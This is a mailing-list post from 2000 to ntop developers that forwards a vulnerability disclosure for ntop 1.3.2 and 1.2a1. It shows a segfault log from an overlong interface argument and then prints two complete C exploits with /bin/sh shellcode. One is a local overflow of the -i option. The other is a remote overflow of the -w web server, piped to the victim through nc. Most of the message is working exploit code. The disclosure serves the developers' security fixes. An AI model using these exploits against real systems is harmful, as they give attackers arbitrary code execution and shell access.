Hi, Look at that!!! Source http://www.webdoc.ru/text.phtml?level=2&id=98&script_id=237&url=texts/201-300/237.html
(in russian, use online translator on altavista.com) tshaw:/home/cb/ntop-1.3.2$ ./ntop -i `perl -e 'print "A"x2835'` 24/Oct/2000:12:32:16 ntop v.1.3.2 MT [i686-pc-linux-gnu] (08/11/00 07:04:32 PM build) 24/Oct/2000:12:32:16 Listening on [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] 24/Oct/2000:12:32:16 Copyright 1998-2000 by Luca Deri <[EMAIL PROTECTED]> 24/Oct/2000:12:32:16 Get the freshest ntop from http://www.ntop.org/ 24/Oct/2000:12:32:16 Initialising... Segmentation fault tshaw:/home/cb/ntop-1.3.2$ EXPLOIT ======== #include <stdlib.h> #include <string.h> #include <stdio.h> #define LEN 208 int main (int argc, char **argv) { char buf[LEN + 12]; intret = 0xbffffba0; int*p; char code[]= "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80" "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc > 1) { ret += atoi(argv[1]); fprintf(stderr, "Using ret %#010x\n", ret); } memset(buf, '\x90', LEN); memcpy(buf + LEN - strlen(code), code, strlen(code)); p = (int *) (buf + LEN); *p++ = ret; *p++ = ret; *p = 0; execl("./ntop", "ntop", "-i", buf, NULL); } REMOTE EXPLOIT ================= #include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void usage() { printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n"); printf(" [EMAIL PROTECTED]\n"); printf("Usage : ./ntop-w-exp | nc victim port\n"); exit(0); } void main( int argc, char *argv[] ) { int i,offset=-24; #define CODE_LEN 240 #define NOP_LEN 50 char code_buf[CODE_LEN]; unsigned long esp=0xbedffb00; if(argc >= 2) offset = atoi(argv[1]); memset(code_buf,0x90,NOP_LEN); //insert NOP CODES memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode)); for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4) *(long *)&code_buf[i]=(unsigned long)esp-offset; printf("GET /"); for(i=0;i<CODE_LEN; i++) { putchar(code_buf[i]); } printf("\r\n\r\n"); } Mit freundlichen Gr��en Alexei Voronine dvg Hannover OE352 UNIX Server Control Center (USCC) e-Mail [EMAIL PROTECTED] Tel: 0511-5102-3703 _______________________________________________ Ntop-dev mailing list [EMAIL PROTECTED] http://listmanager.unipi.it/mailman/listinfo/ntop-dev
